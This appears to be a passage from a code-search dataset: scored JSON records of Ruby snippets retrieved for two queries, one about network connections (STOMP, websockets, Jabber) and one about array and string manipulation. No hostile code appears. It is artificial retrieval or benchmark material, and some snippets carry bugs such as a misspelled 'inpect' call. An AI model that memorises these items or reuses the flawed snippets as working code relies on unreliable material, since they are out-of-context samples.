"text": "def test_conn_1p_0110\n @conn.disconnect\n #\n cha = get_conn_headers() \n cha[\"heart-beat\"] = \"0,0\" # No heartbeats\n conn = nil\n conn = Stomp::Connection.open(user, passcode, host, port, false, 5, cha)\n good_data = [\n \"\\x41\\xc3\\xb1\\x42\",\n \"\\xc2\\x80\", # 2 byte characters\n \"\\xc2\\xbf\",\n \"\\xdf\\x80\",\n \"\\xdf\\xbf\",\n \"\\xe0\\xa0\\x80\", # 3 byte characters\n \"\\xe0\\xbf\\x80\",\n \"\\xe0\\xa0\\xbf\",\n \"\\xe0\\xbf\\xbf\",\n \"\\xf1\\x80\\x80\\x80\", # 4 byte characters\n \"\\xf1\\xbf\\xbf\\xbf\",\n \"\\xf2\\x80\\x80\\x80\",\n \"\\xf2\\xbf\\xbf\\xbf\",\n \"\\xf3\\x80\\x80\\x80\",\n \"\\xf3\\xbf\\xbf\\xbf\",\n ]\n good_data.each do |string|\n assert conn.valid_utf8?(string), \"good unicode specs 01: #{string}\"\n end\n conn.disconnect\n end",
"title": ""
},
{
"docid": "7cedbb72a0a53998b8714b57fdd59f67",
"score": "0.52639633",
"text": "def connect\n\t\tp 'JabberClient.connect'\n\t\ttrue\n\tend",
"title": ""
},
{
"docid": "8d0ac3a1d3c579b4ea34d4aee87df28c",
"score": "0.52615035",
"text": "def clientserver\n end",
"title": ""
},
{
"docid": "bab3d2148ed57e63e97cd74ae91e3d91",
"score": "0.52597135",
"text": "def start\n @redis = Redis.new(:host => \"#{Settings.redis.host}\", :port => Settings.redis.port)\n\n \n Thread.new do\n EventMachine.run do\n \tputs '='*80, \"Starting websockets server at ws://#{Settings.websocket.host}:#{Settings.websocket.port}\", '='*80\n \n EventMachine::WebSocket.start(:host => \"#{Settings.websocket.host}\", :port => Settings.websocket.port) do |ws|\n ws.onopen do\n \n puts \"#{Time.now.strftime('%H:%M:%S')} : Client connected\", '-'*80\n SOCKETS << ws\n end\n\n ws.onclose do\n \n puts \"#{Time.now.strftime('%H:%M:%S')} : Client disconnected\", '-'*80\n SOCKETS.delete ws\n end\n end\n end\n end\n\n \n Thread.new do\n @redis.subscribe('ws') do |on|\n \n on.message do |chan, msg|\n \n puts \"#{msg}\"\n SOCKETS.each {|s| s.send msg} \n \n end\n end\n end\n\n sleep\n \n end",
"title": ""
},
{
"docid": "107b117eff7b1e986c2d410469e2f0e6",
"score": "0.5258289",
"text": "def connect\n debug \"setting up.. jid #{base.config[:account_jid]}\" \n cl = Jabber::Client.new(Jabber::JID::new(base.config[:account_jid]))\n @client = cl\n begin\n debug \"connect\"\n cl.connect \n debug \"auth\"\n cl.auth base.config[:account_password]\n # XXX should catch only proper exception types (including Jabber::ClientAuthenticationFailure)\n rescue Exception => ex \n debug \"EX: #{ex.class} \"\n debug ex.backtrace\n @base.auth_failure \n end\n \n @roster = Jabber::Roster::Helper.new cl \n @roster.add_presence_callback do |item,oldpres,pres|\n pres = Jabber::Presence.new unless pres\n oldpres = Jabber::Presence.new unless oldpres \n status = pres.status.to_s\n presence = pres.show || :available\n jid = item.jid\n # XXX unavaliable\n presence = :unavailable if pres.status.to_s == 'unavailable'\n debug \"item #{jid} chaged presence to #{presence} status #{status}\"\n base.item_presence_change(jid.to_s,presence,status)\n end\n \n @base.roster_items = get_roster_items\n\n @client.send Jabber::Presence.new\n \n set_presence\n\n cl.add_message_callback do |m|\n if m.type != :error\n debug \"message received from #{m.from} type #{m.type}\"\n @base.message_received(m.from.to_s,m.body)\n end\n end\n end",
"title": ""
},
{
"docid": "a27974fa2ad5ba71b2d4e35321fe26d1",
"score": "0.52581346",
"text": "def start\n puts 'launching server'\n EM::run do\n EM::WebSocket.run(:host => \"0.0.0.0\", :port => 6262) do |ws|\n sigHandler\n SparrowWSHandler.new ws\n end\n end\n end",
"title": ""
},
{
"docid": "c9465a44b855cb5392e354c42c99be18",
"score": "0.5256266",
"text": "def send_message\n self.get_message\n self.conn.get.status\n end",
"title": ""
},
{
"docid": "18aac501adc15ac865ed7cd3a26c158b",
"score": "0.52497447",
"text": "def handshake(message, local = false, &callback)\n response = make_response(message)\n response['version'] = BAYEUX_VERSION\n\n response['error'] = Error.parameter_missing('version') if message['version'].nil?\n\n client_conns = message['supportedConnectionTypes']\n\n response['supportedConnectionTypes'] = CONNECTION_TYPES\n\n if client_conns\n common_conns = client_conns.select { |c| CONNECTION_TYPES.include?(c) }\n response['error'] = Error.conntype_mismatch(*client_conns) if common_conns.empty?\n else\n response['error'] = Error.parameter_missing('supportedConnectionTypes')\n end\n\n response['successful'] = response['error'].nil?\n return callback.call(response) unless response['successful']\n\n @engine.create_client do |client_id|\n response['clientId'] = client_id\n callback.call(response)\n end\n end",
"title": ""
},
{
"docid": "6aae026ba5b8753c4044a728d408f926",
"score": "0.52419096",
"text": "def start\n response = Twilio::TwiML::Response.new do |r|\n r.Pause\n play_audio(r, 'intro_message')\n ready_for_connection?(r)\n close_call(r)\n end\n\n render_twiml response\n end",
"title": ""
},
{
"docid": "47463b0fa450358c04b34f27f95342f5",
"score": "0.5241429",
"text": "def hello\n lambda do |_|\n puts \"Connected! As: '#{client.bot_name}' to: '#{client.team_name}' \\\n at #{client.domain}.\".gsub(/ +/, \" \")\n end\n end",
"title": ""
},
{
"docid": "978b2b2a5db284cdd045a0d10d19b774",
"score": "0.5232053",
"text": "def local_auto_connect(body)\n @var[:auto_connect] = !@var[:auto_connect]\n _save_env\n _notice \"You have turned auto connect #{@var[:auto_connect] ? 'on' : 'off'}.\"\nend",
"title": ""
},
{
"docid": "f40b1fb6d1f61cb03e69bda6925d7602",
"score": "0.5227267",
"text": "def run_subscribe(conn, dest)\n return if not @need_subscribe\n @log.debug \"run_subscribe starts\"\n conn.subscribe(dest) # call hook\n @log.debug \"run_subscribe done\"\n @need_subscribe = false\n @need_gets = true\nend",
"title": ""
},
{
"docid": "86cda69e3d0807e71ddca37f6047ba65",
"score": "0.5221733",
"text": "def test_conn_1p_0070\n @conn.disconnect\n #\n cha = get_conn_headers() \n cha[\"heart-beat\"] = \"500,1000\" # Valid heart beat headers\n conn = nil\n assert_nothing_raised do\n conn = Stomp::Connection.open(user, passcode, host, port, false, 5, cha)\n conn.disconnect\n end\n assert conn.hbsend_interval > 0\n assert conn.hbrecv_interval > 0\n end",
"title": ""
},
{
"docid": "fa42ecc6c1565a519db7a7855d9e87f1",
"score": "0.522116",
"text": "def listen\n @response = Thread.new do\n loop {\n msg = JSON.parse(@server.gets.chomp)\n puts sprintf(\"msg in listen: %s\\n\", msg.inpect)\n if msg[0].string?\n puts msg[0]\n elsif msg[0] == 0x00\n if msg[1] == \"CLIST\"\n puts msg[1].to_s.gsub!(/[\"\\[\\]]/,'')\n elsif msg[1] == \"DISCONNECT\"\n puts \"disconnecting\"\n exit(0)\n end\n elsif msg[0] == 0x01\n puts \"Access denied, wrong password or no such client_ID\"\n exit(0)\n elsif msg[0] == 0x02\n puts \"Duplicate client_ID\"\n exit(0)\n end\n }\n end\n end",
"title": ""
},
{
"docid": "c584b423740cf7e8918a5a1cf037ce9e",
"score": "0.52197886",
"text": "def subscribe\n \nend",
"title": ""
},
{
"docid": "5b65a2bc1bc6782bcf19c00d9c98c1a3",
"score": "0.52162373",
"text": "def say_hello(options)\n via_option = options[:via] ? \"_via_#{options[:via].to_s.downcase}\" : \"\"\n with_option = options[:with] ? \"_with_#{options[:with].to_s.downcase}\" : \"\"\n\n Net::HTTP.start(\"localhost\", 3000) do |http|\n http.request_post(\"/sync_hello/execute#{via_option}#{with_option}\",\n \"sleep=0.5\")\n end\n end",
"title": ""
},
{
"docid": "e92635b5bb11060728b7e54c6f9a5e4c",
"score": "0.5215138",
"text": "def test_conn_1p_0120\n @conn.disconnect\n #\n cha = get_conn_headers() \n cha[\"heart-beat\"] = \"0,0\" # No heartbeats\n conn = nil\n conn = Stomp::Connection.open(user, passcode, host, port, false, 5, cha)\n bad_data = [\n \"\\x41\\xc2\\xc3\\xb1\\x42\",\n \"\\xed\\xa0\\x80\", # UTF-16 surrogate halves\n \"\\xed\\xad\\xbf\",\n \"\\xed\\xae\\x80\",\n \"\\xed\\xaf\\xbf\",\n \"\\xed\\xb0\\x80\",\n \"\\xed\\xbe\\x80\",\n \"\\xed\\xbf\\xbf\",\n \"\\xc0\", # Single bytes\n \"\\xc1\",\n \"\\xf5\",\"\\xf6\",\"\\xf7\",\"\\xf8\",\"\\xf9\",\"\\xfa\",\"\\xfb\",\"\\xfc\",\n \"\\xfd\",\"\\xfe\",\"\\xff\",\n \"\\xc0\\x80\", # Not shortest representation\n \"\\xc1\\x80\",\n \"\\xc0\\x30\",\n \"\\xc1\\x30\",\n \"\\xe0\\x80\\x80\",\n \"\\xf0\\x80\\x80\\x80\",\n ]\n bad_data.each do |string|\n assert !conn.valid_utf8?(string), \"bad unicode specs 01: #{string}\"\n end\n conn.disconnect\n end",
"title": ""
},
{
"docid": "9c8ce747ba7e1d8fb15bea7f32b9fa41",
"score": "0.52055484",
"text": "def sendMsgCallBack(msg, client)\n message_arr = msg.getMessage().split(\" \")\n \n # Removes and stores the src and dst from the message\n src = message_arr.shift()\n dst = message_arr.shift()\n to_print = \"SNDMSG: %s --> %s\"\n\n # If the destination reached the right host, it will print out the correct message\n # If not, it will forward it to the next client\n if dst == $hostname\n message_arr = message_arr.join(\" \")\n STDOUT.puts(to_print % [src, message_arr])\n else\n k = $next[dst]\n forward_client = $clients[k]\n sendMessage(forward_client, msg)\n end\nend",
"title": ""
},
{
"docid": "b5370215a591089b73418a03ad11ddfd",
"score": "0.52049255",
"text": "def send_a_message(conn, dest, message, headers={})\n return if not @need_sends \n @log.debug \"send_s_message starts\"\n return if not conn.connected?\n 1.upto(@max_msgs) do |mnum|\n outmsg = \"#{message} |:| #{mnum}\"\n conn.send(dest, outmsg, headers) # EM supplied Stomp method\n end\n @need_sends = false\n @need_subscribe = true\n @log.debug \"send_s_message done\"\nend",
"title": ""
},
{
"docid": "19ca5fd85f3c8499162b049d85a156da",
"score": "0.5198684",
"text": "def listen port, &block\n if @state != :state_inited\n return\n end\n @state = :state_started\n begin\n @server = WebSocket::EventMachine::Server.start(:host => '0.0.0.0', :port => port.to_s) { |ws|\n ws_context = {\n # 'monitor' or 'client'\n :type => nil,\n # for monitor connection\n :server_id => nil, :server_type => nil, :server_info => nil,\n # for client connection\n :client_id => nil,\n # for both connection\n :username => nil, :registered => false\n }\n ws.onopen {\n @wss[ws.signature] = ws\n peer_port, peer_host = Socket.unpack_sockaddr_in ws.get_peername\n emit 'connection', { :id => ws.signature, :ip => peer_host }\n }\n ws.onmessage { |msg, type|\n begin\n event, msg = parse msg\n case event\n when 'register'\n process_register_msg ws, ws_context, msg\n when 'monitor'\n process_msg_from_monitor ws, ws_context, msg\n when 'client'\n process_msg_from_client ws, ws_context, msg\n else\n end\n rescue => err\n end\n }\n ws.onclose {\n @wss.delete ws.signature\n if ws_context[:registered]\n case ws_context[:type]\n when 'monitor'\n remove_monitor_connection(ws_context[:server_id],\n ws_context[:server_type], ws_context[:server_info])\n when 'client'\n remove_client_connection ws_context[:client_id]\n else\n end\n emit 'disconnect', ws_context\n end\n }\n ws.onerror { |err|\n emit 'err', err\n }\n }\n block_given? && yield\n rescue => err\n emit 'error', err\n end\n on('connection') { |obj| ip_filter obj }\n end",
"title": ""
},
{
"docid": "9cebf856bf5217460b8ac550d0945a66",
"score": "0.51966",
"text": "def setup\n EventBus.subscribe(Events::DOWN_ARE_NODES_ALIVE, self, :on_alive_request)\n info \"Startup\"\n Thread.new {\n OmfCommon.init(CONFIG[:env], communication: {url: CONFIG[:xmpp_url]}) {\n OmfCommon.comm.on_connected { |comm|\n info \"WiseOMF >> Connected to XMPP server\"\n # Test end???\n comm.on_interrupted {\n puts \"WiseOMF >> Interrupt!\"\n ResourceProxyManager.instance.handle_interrupt\n }\n }\n }\n }.run\n sleep(5)\n\n OmfRc::ResourceFactory.load_additional_resource_proxies('../lib')\n ResourceProxyManager.instance\n # Do nothing\n end",
"title": ""
},
{
"docid": "6ed207fa87aa4dbc13e31357900f7677",
"score": "0.518962",
"text": "def on_message(buffer)\n # writing will never block and will use a buffer written in C when needed.\n publish channel: :chat, message: \"Someone said: #{buffer}\"\n switch_protocol ShoooProtocol if buffer =~ /^shoo[\\r\\n]/i\n write \"You speak!\\n\" if unsubscribe(subscribed?(channel: :quite))\n end",
"title": ""
},
{
"docid": "127e846e4c68372bd4276dd87f565fb4",
"score": "0.5187535",
"text": "def handle_subscribe(client, data)\n topic = @engine.subscribe_client_to_topic client, data[0]\n\n trigger(:subscribe, client, topic.uri)\n end",
"title": ""
},
{
"docid": "60354acda73d08bc9aa2c87f962e81b3",
"score": "0.5176985",
"text": "def connect_topic\n # scott old ack auot\n # see http://activemq.apache.org/stomp.html for activemq.dispathAsync settig\n self.conn.subscribe( self.topic, { :ack =>\"client\" , 'activemq.dispatchAsync' => 'false'}) { |msg| \n \n self.msg_count+=1\n \t begin\t\n \t self.conn.acknowledge(msg,msg.headers) \n \t self.queue << msg \n \t \n rescue Exception => e\n self.exception_count+=1\n puts \" Thread: :exception found #{e.backtrace}\" \n puts \"Thread: :exception messag #{e.message}\"\n end\n \n }\n end",
"title": ""
},
{
"docid": "9dbcde7cd481122bbfed8ee60a9c515d",
"score": "0.51739806",
"text": "def notify module_id, msg\n msg[:client_id] = @client_id\n msg[:username] = @username\n @ws.send ['client', compose_request(nil, module_id, msg)].to_json\n end",
"title": ""
},
{
"docid": "bab776dfc5203eef36b2ae2cf4f2b7fb",
"score": "0.5170041",
"text": "def subscribe(args = {})\n :no_response\n end",
"title": ""
},
{
"docid": "b79a33ef11475f26343f088b8f7889fb",
"score": "0.5167262",
"text": "def connect\n\t\t@client.start\n\n\t\t# Set up our input and output exchange/queue\n\t\t@output = @client.exchange( @playername, :passive => false )\n\t\t@queue = @client.queue\n\n\t\t@exchange = @client.exchange( @playername, :passive => false )\n\t\t@queue = @client.queue( \"#{@playername}_output\", :exclusive => true )\n\n\t\tlogin_exchange = @client.exchange( 'login', :type => :direct, :auto_delete => true )\n\n\t\t# Set up the queue to handle incoming connections\n\t\tself.log.debug \" setting up the connections queue...\"\n\t\t@connect_queue = @playersbus.queue( 'connections', :exclusive => true )\n\t\t@connect_queue.bind( @login_exch, :key => :character_name )\n\t\t@connect_queue.subscribe(\n\t\t\t:header => true,\n\t\t\t:consumer_tag => 'engine',\n\t\t\t:exclusive => true,\n\t\t\t:no_ack => false,\n\t\t\t&self.method(:handle_connect_event)\n\t\t )\n\tend",
"title": ""
},
{
"docid": "f0fcc0b03d1a6508a6bbe0a0cb467038",
"score": "0.5158552",
"text": "def on_001 (msg)\n when_ready if respond_to? :when_ready\n end",
"title": ""
},
{
"docid": "930e60c5a8801b48faee1124864abfee",
"score": "0.51491433",
"text": "def client_connected\n puts \"client #{current_user.email} connected\"\n current_player = current_user.player || current_user.create_player\n current_player.is_online = true\n current_player.save\n coords = [\n current_player.left,\n current_player.top,\n current_player.id,\n current_player.last_direction\n ]\n send_message :starting_position, coords\n \n # Get an array of the other players, convert to hash keyed on player id\n players = Player.where 'user_id != ? and is_online = ?', current_user, true\n player_hash = {}\n players.each do |player|\n player_hash[player.id] = {\n user_name: player.user.email.sub(/@.+/, ''),\n is_moving: player.is_moving,\n last_direction: player.last_direction,\n left: player.left,\n top: player.top\n }\n end\n send_message :player_list, player_hash\n \n broadcast_message :player_enter, {\n user_name: current_user.email.sub(/@.+/, ''),\n id: current_player.id,\n last_direction: current_player.last_direction,\n left: current_player.left,\n top: current_player.top\n }\n end",
"title": ""
},
{
"docid": "f707292a8f4147c77e8c565d5b09b5ba",
"score": "0.5148459",
"text": "def process_msg_from_client ws, ws_context, msg\n if !ws_context[:registered]\n ws.close\n return\n end\n if ws_context[:type] != 'client'\n return\n end\n if msg[:command]\n # a command from client\n @console_service.command(msg[:command], msg[:module_id], msg[:body]) { |err, res|\n if is_request? msg\n if resp = compose_response(msg, err, res)\n ws.send ['client', resp].to_json\n end\n else\n # notify should not have a callback\n end\n }\n else\n # a request or a notify from client\n @console_service.execute(msg[:module_id], :client_handler, msg[:body]) { |err, res|\n if is_request? msg\n if resp = compose_response(msg, err, res)\n ws.send ['client', resp].to_json\n end\n else\n # notify should not have a callback\n end\n }\n end\n end",
"title": ""
},
{
"docid": "ee04382ebcd70f2005d2129a8a84d91b",
"score": "0.5147348",
"text": "def on_connect(*)\n @mplayer_cmd = \"#{config[:mplayer]} -nosound #{config[:url]}\"\n @twitter_client = Twitter::REST::Client.new do |twitter_config|\n twitter_config.consumer_key = config[:twitter_consumer_key]\n twitter_config.consumer_secret = config[:twitter_consumer_secret]\n twitter_config.access_token = config[:twitter_access_token]\n twitter_config.access_token_secret = config[:twitter_access_token_secret]\n end\n end",
"title": ""
},
{
"docid": "1e56c55cb04bba8fcc4301e616d100c5",
"score": "0.5145461",
"text": "def start\n @thread = Thread.new do\n EM::WebSocket.start(ws_options) do |ws|\n ws.onopen do |handshake|\n log \"onopen: #{handshake.headers}\"\n @clients << ws\n end\n\n ws.onclose do |event|\n log \"closed: #{event}\"\n @clients.delete ws\n end\n\n ws.onmessage do |msg|\n log \"received: #{msg}\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "7eb057d5ca4f05d1802ea4723d7a2ac6",
"score": "0.5144451",
"text": "def subscribe(&onMessage) # block\n end",
"title": ""
},
{
"docid": "675df21474437bacc2c74b53a6ba56f4",
"score": "0.51428604",
"text": "def send_msg(conn,args)\n p = @app.get_client(conn) #pega objeto Player da lista de clientes\n unless p.nil?\n @app.broadcast(Message.new('chat','txt',\n {'author' => CGI::escapeHTML(p.to_s), 'msg' => CGI::escapeHTML(args['msg'])}\n )) #envia a mensagem para todos os clientes\n end\n end",
"title": ""
},
{
"docid": "b408f7f706cf5dc6f2faf175dd32e248",
"score": "0.51425695",
"text": "def start\n\t\tloop do\n\t\t\t@client = @server.accept # Wait for a client to connect\n\t\t\t@client.sendmsg \"220 ready\\r\\n\" # 220 - the server is ready\n\n\t\t\t# authentication (we assume that the client does this correctly)\n\t\t\t@user = @client.gets.gsub(\"\\r\\n\", \"\") # => USER\n\t\t\t@client.sendmsg \"331\\r\\n\" # => USER ok\n\n\t\t\t@pass = @client.gets.gsub(\"\\r\\n\", \"\") # => PASS\n\t\t\t@client.sendmsg \"230\\r\\n\" # => PASS ok\n\n\t\t\twhile req = @client.gets\n\t\t\t\treq.gsub!(\"\\r\\n\", \"\")\n\n\t\t\t\t# XXX not really needed since no QUIT signal is sent by FCP\n\t\t\t\tif req == \"QUIT\"\n\t\t\t\t\t@client.sendmsg \"221\\r\\n\" # => QUIT ok, bye!\n\t\t\t\t\t@client.close\n\t\t\t\t\t@client = nil\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\ttmp = req.split(\" \")\n\t\t\t\tcmd, args = tmp[0], tmp[1..tmp.length-1]\n\n\t\t\t\tif !SUPPORTED_CMD.include?(cmd)\n\t\t\t\t\t@client.sendmsg \"500\\r\\n\"\n\t\t\t\t\tnext\n\t\t\t\tend\n\n\t\t\t\tself.__send__(\"cmd_#{cmd.downcase}\", args)\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0fe4b581fb167f070b1ac07bc5dd7213",
"score": "0.5142062",
"text": "def call(env)\n # trace __FILE__, __LINE__, self, __method__, \"env=#{env}\"\n protocols = nil\n options = { ping: 5 } # keep socket alive : Chrome seems to time out in about 10?\n socket = Faye::WebSocket.new(env, protocols, options)\n connect!(socket)\n # trace __FILE__, __LINE__, self, __method__\n socket.rack_response\n end",
"title": ""
}
] |
4f8affe749c9d4bd255bbd560ce148f6
|
["A", "B", "C", "A", "B", "C", "A", "B", "C", "A", "B", "C"]
|
[
{
"docid": "841f5e6362e1df7f66590e983a1b26d3",
"score": "0.0",
"text": "def custom_multiply(array, number)\n # Return a new array with the array that's passed in\n # as an argument multiplied by the number argument\n result = []\n number.times { array.each { |elem| result << elem } }\n result\nend",
"title": ""
}
] |
[
{
"docid": "4ae56c9fcf2518753163cd988b137054",
"score": "0.640742",
"text": "def given\n [6,5,3,1,8,7,2,3]\nend",
"title": ""
},
{
"docid": "8e100e7d731d8509cd22d4e7bbd2badc",
"score": "0.61931616",
"text": "def alphabet\n Set.new(to_a.flatten!.uniq!)\n end",
"title": ""
},
{
"docid": "80867b781aa8fe395b8b4804bc247fec",
"score": "0.61715364",
"text": "def stack\n LETTERS.map{|x| [x]*QUANTITY_OF_LETTERS[LETTERS.index(x)]}.flatten.shuffle\nend",
"title": ""
},
{
"docid": "a21b63824f21aa4397d84430b6539fe2",
"score": "0.60204506",
"text": "def common_characters(arr)\n target_count = arr.count\n\n hash = Hash.new(0)\n (0...target_count).each do |i|\n arr[i].split('').each do |letter|\n hash[letter] += 1\n end\n end\n\n result = []\n hash.each do |k, v|\n while v >= target_count\n if v >= target_count\n result << k\n v -= target_count\n end\n end\n end\n\n result\nend",
"title": ""
},
{
"docid": "54678f6657020740c2b6e71068745c9f",
"score": "0.5829744",
"text": "def unique_in_order(x)\r\n a = (x.class == String ? x.chars : x ).chunk { |i| i }\r\n a.map{|a| a.first}\r\nend",
"title": ""
},
{
"docid": "27655d7b08cc6dd11b53bb26221cdef3",
"score": "0.58290285",
"text": "def alphabet_array\n ('A'..'Z').to_a\n end",
"title": ""
},
{
"docid": "4bcb777f1a75fdb9868e0d0104f94aa3",
"score": "0.57867885",
"text": "def select_elements_starting_with_c(arr)\n return_array = []\n index = 0\n arr.each do |entry|\n if entry[0] == \"c\"\n return_array.insert(index, entry)\n index += 1\n end\n end\n return return_array\nend",
"title": ""
},
{
"docid": "096aa736c8e8a9b6504d341ff889608b",
"score": "0.5780367",
"text": "def unique_in_order(string)\n string.each_char.with_index.reduce([]) do |arr, (el, i)|\n if el == string.chars[i+1]\n arr\n else\n arr << el\n end\n end\nend",
"title": ""
},
{
"docid": "1cfc237770926771929a3e121c6b05b6",
"score": "0.57755756",
"text": "def gay_array(number_of_buttons, search_letter, search_buttons) \n \tarray = [ ] \n\t\n\twhile array.length <= number_of_buttons - (1 + search_buttons) do\n \t\tarray.push(new_letter(search_letter))\n \tend\n \t\n search_buttons.times do array.push(search_letter)\n\tend\t\t\n \t\t\n \treturn array.shuffle\n \n end",
"title": ""
},
{
"docid": "00e7a5671b30a5e6ce28436106249244",
"score": "0.57636046",
"text": "def pack_consecutive_duplicates\n self.inject([[]]) do |array, current|\n if array[-1][-1] == current or array[-1][-1].nil?\n array[-1] << current\n else\n array << [current]\n end\n array\n end\n \n end",
"title": ""
},
{
"docid": "9e63305aaaebc49a6bc4228764b0dd48",
"score": "0.57356334",
"text": "def unique_in_order(iterable) \n# create an empty array\ncontent = []\n\n # check each letter/number of `iterable` \n for e in (0..iterable.length()-1) \n\n# compare current element to previous element\n# if array is empty\n if e == 0 or \n# \n# if current element is not the same with previous element, push current index to content array\n iterable[e] != iterable[e-1] \n content.push(iterable[e])\n end\n end\n# return new content array\n return content\nend",
"title": ""
},
{
"docid": "5013f2cab5c91929f758b1a118496fdd",
"score": "0.57144606",
"text": "def repeat_values\n repeated = repeats.map { |value, repeats| [value, repeats.count] }\n repeated = repeated.reject { |value, count| count == 1 }\n repeated = repeated.sort_by { |value, count| [count, value] }.reverse\n repeated.map(&:first)\n end",
"title": ""
},
{
"docid": "0082c2f605b63a69f6eff621573f0a07",
"score": "0.5709595",
"text": "def unique_in_order sequence\n new_array = []\n\n sequence.length.times do |value|\n new_array << sequence[value] if sequence[value] != sequence[value + 1]\n end\n new_array\nend",
"title": ""
},
{
"docid": "d87ccc0eff2c63c08c3bbf3105c37b47",
"score": "0.57095796",
"text": "def makeArrayConsecutive2(statues)\n a = statues.sort\n count = 0\n if statues.count > 1\n for num in a.shift..a.pop\n unless statues.include?(num)\n count += 1\n end\n end\n end\n count\nend",
"title": ""
},
{
"docid": "2d78dd6550099e1dd15b8a066d2d7e43",
"score": "0.5698544",
"text": "def eliminate_consecutive_duplicates\n self.inject([]) do |array, current| \n array << current unless array[-1] == current\n array\n end\n end",
"title": ""
},
{
"docid": "bbbcf82c3a1d37e1fe1ce2130ae07a12",
"score": "0.56946194",
"text": "def new_groups(array)\n new_group = []\n array.shuffle.each_slice(4){|acc| new_group << acc}\n if new_group.length > 1 && new_group.last.length <= 2\n (new_group.last.length).times do |i|\n new_group[i].push(new_group.last.pop)\n new_group.pop\n end\n end\n new_group\nend",
"title": ""
},
{
"docid": "0222af19ea0e06b68e0207606f3a5792",
"score": "0.5692782",
"text": "def unique_in_order(iterable)\n p '--- Jan-10-2017 problem --- '\n arry = []\n iterable.each_char do |c|\n arry << c\n end\nend",
"title": ""
},
{
"docid": "8acc01009f8bd1346b874a26f09c3a4d",
"score": "0.5663513",
"text": "def crunch(string)\n array = string.chars\n no_repeats = []\n no_repeats.push(array[0])\n for i in 0..(array.size - 1)\n no_repeats.push(array[i+1]) if array[i] != array[i+1]\n end\n\n no_repeats.join\nend",
"title": ""
},
{
"docid": "d30796c93f502d93afc98175d909037d",
"score": "0.56409264",
"text": "def add_letters_to_bag()\n\n bag = [\"Z\", \"X\", \"J\", \"K\", \"Q\"] # Letters which only appear once\n \n 2.times do # Letters which appear twice\n bag << \"V\"\n bag << \"W\"\n bag << \"B\"\n bag << \"C\"\n bag << \"F\"\n bag << \"H\"\n bag << \"M\"\n bag << \"Y\"\n bag << Blank.new\n bag << \"P\"\n end\n\n 3.times do bag << \"G\" end\n\n 4.times do\n bag << \"D\"\n bag << \"L\"\n bag << \"S\"\n bag << \"U\"\n end\n\n 6.times do\n bag << \"N\"\n bag << \"R\"\n bag << \"T\"\n end\n \n 8.times do bag << \"O\" end \n\n 9.times do\n bag << \"A\"\n bag << \"I\"\n end\n\n 12.times do bag << \"E\" end\n\n return bag\n end",
"title": ""
},
{
"docid": "50d47c0ebca6601ad8325b27a7083f25",
"score": "0.56327116",
"text": "def unique_in_order(sequence)\n\ta = 0\n\tfinal_arr = []\n\twhile a < sequence.length\n\t\tfinal_arr << sequence[a]\n\t\tduplicate = sequence[a]\n\t\twhile duplicate == sequence[a]\n\t\t\tif sequence[a] == duplicate\n\t\t\t\ta += 1\n\t\t\tend\n\t\tend\n\tend\n\treturn final_arr\nend",
"title": ""
},
{
"docid": "480ed85d914a9707a7691cf0f424401e",
"score": "0.56281924",
"text": "def uniques(list)\n fa = []\n \n list.map do |n|\n while !(fa.include?(n))\n fa.push(n)\n end\n end\n \n #puts fa\n return fa\nend",
"title": ""
},
{
"docid": "538c84475cdd86f788d73b1b2ca7c637",
"score": "0.5622659",
"text": "def alphabet\r\n array = (\"a\"..\"z\").to_a\r\n newarray = array.shuffle\r\n # puts newarray.join(\" \")\r\n puts newarray.first\r\n puts newarray.last\r\nend",
"title": ""
},
{
"docid": "82ca004bf50f14e3d8b7544c10b1b4aa",
"score": "0.56186676",
"text": "def sample_data\n %w(A,B,1 A,C,2 B,C,3 B,D,3 C,D,1 B,E,2 D,F,3 D,E,3 E,G,3 F,G,1)\n end",
"title": ""
},
{
"docid": "836450df7549ad2c5b2375337b76fc2b",
"score": "0.5604335",
"text": "def ordered_count(str)\n str.split('').uniq.map{|letter| [letter, str.count(letter)]}.to_a\nend",
"title": ""
},
{
"docid": "ec9d94c32a02f16b5579a4b8813b6df6",
"score": "0.5567036",
"text": "def buy_fruit(list)\n new_list = []\n list.each { |arr| arr[1].times { new_list << arr[0] } }\n new_list\nend",
"title": ""
},
{
"docid": "43494da9f2e8615f4a79d7196fa3740b",
"score": "0.5550807",
"text": "def non_unique_letters(string)\n new_arr = string.chars.select {|c| string.chars.count(c) > 1 }\n new_arr.delete(' ')\n new_arr.uniq!\n new_arr.sort!\n return new_arr\nend",
"title": ""
},
{
"docid": "7ed20f229d7c8f189c2206cbfbf137cd",
"score": "0.5531047",
"text": "def filter_repeated_character_strings(arr)\nend",
"title": ""
},
{
"docid": "7e3738bad598d9401f02ced897555422",
"score": "0.5529263",
"text": "def non_unique_letters(string)\n\n result = [] # empty accumulator\n\n string.split(\"\").uniq.each do |uni| # finding character present in the string\n each_char = 0\n\n string.split(\"\").each do |ltr| # iterating array of string\n each_char += 1 if ltr == uni\n end\n result << uni if each_char > 1\n end\n\n result\nend",
"title": ""
},
{
"docid": "0d80cff74cd369bc5a4ee63f90b262f1",
"score": "0.55236363",
"text": "def sort3(strings, length)\n (length - 1).downto(0) do |i|\n buckets = Array.new(26) { [] }\n strings.each do |string|\n letter = string[i]\n buckets[letter.ord - \"a\".ord] << string\n end\n\n strings = []\n buckets.each do |bucket|\n bucket.each { |string| strings << string }\n end\n end\n\n strings\nend",
"title": ""
},
{
"docid": "1c7ea71d292b3c6d4a887dc5897d4dda",
"score": "0.55178463",
"text": "def combos\n result = []\n radixs = reverse.map(&:size)\n inject(1){|r, i| r * i.size}.times{ |step|\n result << foldr(lambda{ |i, r|\n radix = radixs[r.size]\n r.unshift i[step % radix]\n step /= radix unless radix.nil?\n r\n }, [])\n }\n result\n end",
"title": ""
},
{
"docid": "ce7dee56abeee735969936ebad720941",
"score": "0.5505825",
"text": "def amicables(limit)\n numbers = Array.new(limit, 0)\n (1...limit).each do |i|\n ((i * 2)...limit).step(i) do |j|\n numbers[j] += i\n end\n end\n result = []\n numbers.each_with_index do |j, i|\n if j < limit && i == numbers[j] && i != j\n result << i\n end\n end\n result\nend",
"title": ""
},
{
"docid": "a16ada0aa9e3f413328af9fecdf1b020",
"score": "0.54933894",
"text": "def group_by_starting_letter(array)\n array.group_by {|word| word[0]}\nend",
"title": ""
},
{
"docid": "6efdf264ef27f00cf4d1e42ca7f36aaf",
"score": "0.5492106",
